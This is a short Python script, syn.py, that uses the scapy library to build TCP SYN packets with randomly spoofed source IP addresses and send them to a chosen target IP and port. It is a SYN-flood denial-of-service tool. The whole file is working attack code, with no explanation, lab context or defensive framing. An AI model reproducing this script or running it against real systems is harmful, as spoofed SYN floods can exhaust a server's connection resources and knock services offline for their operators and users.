syn.py 812 Bytes
import random
from scapy.all import IP, TCP, send

def random_IP():
    ip = []
    for _ in range(0, 4):
        ip.append(str(random.randint(1, 255)))
    return ".".join(ip)

def syn_flood(targetIP, targetPORT):
    IP_Packet = IP()
    IP_Packet.src = random_IP()
    IP_Packet.dst = targetIP

    TCP_Packet = TCP()
    TCP_Packet.sport = random.randint(1000, 10000)
    TCP_Packet.dport = targetPORT
    TCP_Packet.flags = "S"
    TCP_Packet.seq = random.randint(1000, 10000)
    TCP_Packet.window = random.randint(1000, 10000)

    for _ in range(16):
        try:
            send(IP_Packet / TCP_Packet, verbose=False)
        except Exception as e:
            print(f"Error while sending SYN packet\n{e}")
        else:
            print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")